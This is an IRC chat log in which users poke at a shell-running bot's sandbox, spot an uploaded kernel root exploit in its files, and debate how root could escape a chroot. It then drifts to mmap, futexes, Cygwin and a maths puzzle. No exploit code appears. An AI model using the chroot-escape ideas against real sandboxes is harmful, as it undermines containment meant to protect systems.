:AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, except that it would be a pain of someone overwrote that file < 1267904671 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :True < 1267904687 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Anywho, it's in the HackBot hg repo < 1267904704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, that is a different repo than in `help? < 1267904711 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Presumably not < 1267904738 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, http://codu.org/projects/hackbot/fshg/ ? < 1267904745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION can't find it run there
< 1267904751 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :No, that's the filesystem in HackBot, not HackBot itself. < 1267904753 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Remove "fs" < 1267904757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267904760 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well I didn't know < 1267904768 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the fs one is the one in `help < 1267904821 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`ls .hg < 1267904822 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904828 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`mkdir .hg < 1267904830 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904830 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Invalid .hg directory found. < 1267904833 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267904838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, damn you ;P < 1267904845 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`ls .hg < 1267904847 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267904864 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :.hg is moved elsewhere to prevent tampering. < 1267904875 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267904876 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.18069 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267904878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`ls -a < 1267904879 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.18110 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267904888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, where is elsewhere? < 1267904911 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Why would I make it accessible if it was moved to PREVENT TAMPERING >_< < 1267904921 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, oh btw googling suggests "wunderbar_emporium" is some old exploit for pre-2.6.29 kernels or such < 1267904929 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Uhhh, OK? < 1267904943 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I was just confused by the name of it before < 1267904952 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Why do I care? < 1267904974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :seems asi < 1267904990 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka < 1267904991 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/$/ is behind it/ < 1267904997 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Why do I care? < 1267904997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1267905006 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :behind it being in egobot < 1267905013 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i prefer caused < 1267905014 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So? < 1267905025 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AFAIK it hasn't worked, so why do I care? < 1267905027 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I presume you have a new enough kernel? < 1267905031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`uname -a < 1267905032 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux < 1267905040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1267905064 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Don't you think Codu would have been a little bit more ... pwned if it worked inside of plash? :P < 1267905080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I have no idea if it worked, but considering it uses a bug in a system call.. < 1267905088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't think plash helps against that < 1267905100 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, one can hope the kernel is patched < 1267905117 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :looks like the sock_sendpage root exploit < 1267905158 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm... "Versions prior to the Linux kernel 2.4.37.5 and 2.6.31-rc6 are vulnerable." < 1267905169 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I suggests you investigate this, just in case < 1267905216 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It hands you root. < 1267905232 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which in Plash gets you nowhere. < 1267905246 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, afaik if you have root you can break out of chroot still < 1267905259 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, you are aware of the double chroot I assume? < 1267905282 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ... *If you have commands*. < 1267905292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, it is enough to have syscalls < 1267905297 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Plash runs in an empty chroot. < 1267905301 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, since that is all those commands use < 1267905303 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Completely. And utterly. Empty. < 1267905305 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, sure, so mkdir as root < 1267905309 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, using syscalls < 1267905312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perfectly possible < 1267905316 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then double chroot using that < 1267905316 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. < 1267905342 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It is sufficient to have syscalls, as root. < 1267905345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, my point is that if you have root inside a chroot on linux you can always break out < 1267905348 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I still doubt highly that this worked. < 1267905358 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I hope that is the case < 1267905405 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Of course, I don't know what the result was supposed to be :P < 1267905428 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Clearly the Plash chroot should be on a read-only filesystem. < 1267905458 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, even so you can circumvent that as root < 1267905482 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I'm pretty sure remounting would be possible as root even with no access to any sort of /dev < 1267905495 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Don't even need to, just mount a tmpfs somewhere. < 1267905509 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Requires a mountpoint. < 1267905524 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Requires a filesystem that is capable of being mounted r/w. < 1267905527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, like /? < 1267905530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :inside the chroot < 1267905537 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :is already mounted. < 1267905539 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is a valid mount point afaik < 1267905540 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1267905546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, you can mount something on top can't you? < 1267905551 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :/ is already mounted. < 1267905559 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I once managed to mount /dev on / on a freebsd system < 1267905562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :had to reboot it < 1267905596 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I just got a spiffy idea. < 1267905601 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hrm. You can in fact mount on top of a mount. < 1267905605 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, yep < 1267905624 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, you need kernel patches to prevent this if you want to do that < 1267905629 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :RawLinux: a program where you simply type system calls in base64, and it tells you the results in base64. < 1267905742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, hm? < 1267905783 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That's my spiffy idea. < 1267905806 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, just accept that plash depend on there being no local root exploits < 1267905834 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, that would be somewhat messy due to system calls that take pointers and so on < 1267905842 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes, plash does of course depend on that, it would be silly to think you could work around the possibility of root exploits :P < 1267905849 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: What about the PtraceJail? < 1267905863 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, Plash works by putting something in an empty chroot, and giving it alternative file system accessors? < 1267905868 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, you would need a way to pointers to structs and so on < 1267905871 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Yeah. < 1267905872 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Basically. < 1267905875 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It replaces libc. < 1267905895 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: are there any system calls that use pointers for anything other than taking variable-size input and providing variable-size output? < 1267905898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, it uses IPC to talk through the chroot with a process that handles file system for it and so on < 1267905901 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1267905907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: What about the PtraceJail? <-- I don't know < 1267905916 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I guess there could be exploits for that as well < 1267905934 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :There could always be exploits. < 1267905941 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :No matter how many layers you put between. < 1267905942 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Plash could hypothetically monitor *all* the system calls. < 1267905956 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which would leave the exploits being issues in Ptrace. < 1267905958 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Then it would just take a bug in plash *shrugs* < 1267905963 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Or ptrace < 1267905971 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1267906018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or in a system call allowed by plash < 1267906067 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(it need to allow some, like those for growing the stack or heap) < 1267906083 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or mmaping anonymous memory or whatever) < 1267906105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I wonder how plash emulates mmap()ing of files < 1267906117 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Donno < 1267906125 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, it needs to actually be mapped into the process for it to have the correct semantics < 1267906139 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :How does memory mapping files work at all? < 1267906146 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Satan's magic. < 1267906149 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, using mmap()? < 1267906175 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :so spider solitaire, can you get good in it? looks pretty luck-based to me < 1267906177 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :How does mmap() work? < 1267906179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, but point is, if two processes mmap() the same file, they should see updates < 1267906194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, black magic < 1267906199 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i used to play freecell but after 300 games it's sort of hard to find challenge in it < 1267906206 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, or rather, go read glibc and kernel sources < 1267906214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mostly kernel sources < 1267906260 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oklocock: You should get some friends and play Hydra! < 1267906280 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Does it copy the file into memory and then copy it back when it's done? Does it trap memory access and replace it with filesystem access? < 1267906304 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's Hydra? Is it that game where you try to grow as many heads as possible before time's up? < 1267906321 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Well, sort of :P < 1267906330 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://codu.org/wiki/Hydra < 1267906442 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, it reads file in during page faults < 1267906452 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, meaning, it won't actually read the data in until you try to read it < 1267906487 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :play poker instead < 1267906491 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you'll go broke, it's fun < 1267906492 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, if you changed the file, it is written back when the file is either unmapped or when the (underlying physical) page is unmapped by the vm < 1267906496 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Strip poker! < 1267906498 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1267906501 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That way, you'll just go naked. < 1267906504 0 :oklokok!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1267906543 0 :Azstal!~asztal@host86-172-3-169.range86-172.btcentralplus.com JOIN :#esoteric < 1267906552 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :strip poker is a very asymmetric game for the men and women involved < 1267906560 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh and if several processes mapped the same file, the same page is mapped into both processes < 1267906569 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, so it can be used for IPC < 1267906576 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
< 1267906600 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I won't promise it works for futexes or such because that is even more black magic than mmaping < 1267906620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it might need something else < 1267906636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(and no that wasn't a typo for mutexes) < 1267906653 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267906691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh and I think there is some call similar to fflush() for mmaped pages too < 1267906696 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to force writing any changes < 1267906704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember how you did that though < 1267906706 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's a futex? < 1267906717 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Can you do mutexes with mmaping? < 1267906766 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, something the linux kernel provides and that glibc pthreads and such then uses to implement mutexes, semaphores and most (all?) of the other pthreads sync thingies < 1267906774 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is what a futex is < 1267906783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, see man 2 futex < 1267906797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh and man 7 futex too < 1267906808 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the latter seems more like an introduction to the concept < 1267906835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, of course now we are linux specific. These details can and does vary widely between different OSes < 1267906857 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :though the mmap is probably implemented in a similar manner on most *nix < 1267906864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/the // < 1267906903 0 :cal153!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1267906924 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders running Cygwin under Wine under Cygwin under Wine.
< 1267906933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why on earth < 1267906947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, also these mmap semantics are probably *not* valid for cygwin < 1267906949 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The same reason we create esoteric programming languages. < 1267906965 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, also iirc it doesn't work < 1267906967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1267906974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cygwin doesn't run properly under wine < 1267906987 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I would expect running Cygwin under Wine to be the easy part. < 1267907001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well it might have changed since last time I heard someone try it < 1267907004 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(in here too iirc) < 1267907009 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe was a year or so ago? < 1267907026 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Wouldn't it just be a bunch of executables and libraries? < 1267907027 0 :FireFly[DS]!~nds@unaffiliated/firefly JOIN :#esoteric < 1267907032 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(that's a guesstimate) < 1267907040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, ? < 1267907054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly[DS], hi there, long time no c? < 1267907068 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Isn't that pretty much what Cygwin is? < 1267907080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, except it does some weird stuff < 1267907085 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, like it's fork() semantics < 1267907089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I assume you read about them < 1267907133 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I know very little about Cygwin. < 1267907143 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1267907200 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Cygwin implements UNIX semantics on Windows. < 1267907207 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, to emulate fork it does something like: "start new process, make parent wait on mutex, child wakes up parent and waits on mutex, most of the address space (except read only stuff from the binary) is copied to the child, both processes are resumed" < 1267907209 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :To do this, it has to do some *very* weird stuff. < 1267907219 0 :FireFly[DS]!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267907220 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc it was slightly more complex than that < 1267907223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but you get the idea < 1267907226 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Fork is probably the weirdest. < 1267907238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I suspect mmap would also be very weird < 1267907247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unless it can map it fairly straight to some windows system call < 1267907269 0 :FireFly[DS]!~nds@unaffiliated/firefly JOIN :#esoteric < 1267907275 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly[DS], wb! < 1267907287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly[DS], haven't seen you for ages < 1267907305 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :Hello < 1267907312 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Windows has the ability to map files into memory. < 1267907321 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :Ages, as in what, three days? < 1267907323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, sure, but what are the semantics for that? < 1267907330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly[DS], hm? maybe I misremember then < 1267907338 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Complex, but possible to wrap sanely. < 1267907341 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :I think so :P < 1267907353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly[DS], why on DS? < 1267907375 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :Because I'm on a DS, not at home < 1267907384 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :holiday stuff, skiing < 1267907395 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What sort of DS is this? < 1267907409 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :the Nintendo sort < 1267907414 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
< 1267907420 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You "create a file mapping object", which is kinda like fopen, and you then "create a file view", which actually sticks the section of the file you want into virtual memory. < 1267907436 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow, man 7 futex is interesting < 1267907443 0 :FireFly[DS]!unknown@unknown.invalid PRIVMSG #esoteric :The phat nintendo sort, even < 1267907447 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is brilliant and clever < 1267907453 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(how it works) < 1267907481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, is there any DS except Nintendo? < 1267907484 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267907489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that one could possibly IRC from I mean < 1267907499 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't give you odder things like anonymous mappings, but that's not needed for straight POSIX semantics. < 1267907528 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think I've heard of other DSs in the past. < 1267907530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, are changes reflected in other processes that mapped the same file? < 1267907548 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267907564 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes. < 1267907578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, well it seems okay I guess < 1267907582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then* < 1267907596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, but aren't anon mappings POSIX? < 1267907604 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267907620 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Anonymous mappings are a common extension. < 1267907684 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, whaddya know. There's a way to get anonymous mappings in Win32, too. < 1267907711 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You attempt to map an INVALID_HANDLE_VALUE, and voila. < 1267907723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed, can't find it in POSIX.1-2008 even < 1267907744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, that seems like a messy way to do it < 1267907773 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's Win32. < 1267907874 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1267907875 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but still < 1267908177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if it is possible to make a balanced tree that can be updated concurrently without locking things
< 1267908187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and, without causing a huge overhead < 1267908240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :read and update should be lockless, and it should be fast in case of no collision between multiple threads < 1267908277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :balacing I guess might pose some problems... But preferably not < 1267908307 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Make it immutable and all your problems go away. < 1267908523 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, well that would be annoying since the use case would be ATHR when porting to a non-erlang befunge implementation < 1267908535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, such as might happen at some point in the future < 1267908547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, the tree needs to be modified a lot if it represents funge space < 1267908564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alternative is a hash table, but that sounds even worse to update without locks < 1267908585 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :plus hash tables has a worse worst-case < 1267908607 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1267908658 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, perhaps a RCU implementation? < 1267908678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm not a good idea < 1267908687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :read is cheap, write is not < 1267908981 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267909568 0 :dougx!~dougx@vc-41-31-15-51.umts.vodacom.co.za JOIN :#esoteric < 1267909982 0 :dougx!unknown@unknown.invalid PART #esoteric :? < 1267910001 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267910409 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :now the question is, are all prime numbers balloon? < 1267910413 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*balloons < 1267910422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, define balloon < 1267910448 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :a number n is a balloon iff in every set of 2n-1 numbers there are n that sum to 0 (mod n) < 1267910468 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :it's simple to show balloons are closed under multiplication, but what's less simple is to show primes are < 1267910479 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm interesting < 1267910503 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, and this has not yet been solved? < 1267910505 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :1, 2, 3 and 5 are easily shown to be balloons < 1267910511 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no, not by me < 1267910515 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :by anyone? < 1267910519 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :in fact i didn't even show they are closed under multiplication < 1267910528 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1267910535 0 :oklokok!unknown@unknown.invalid PRIVMSG 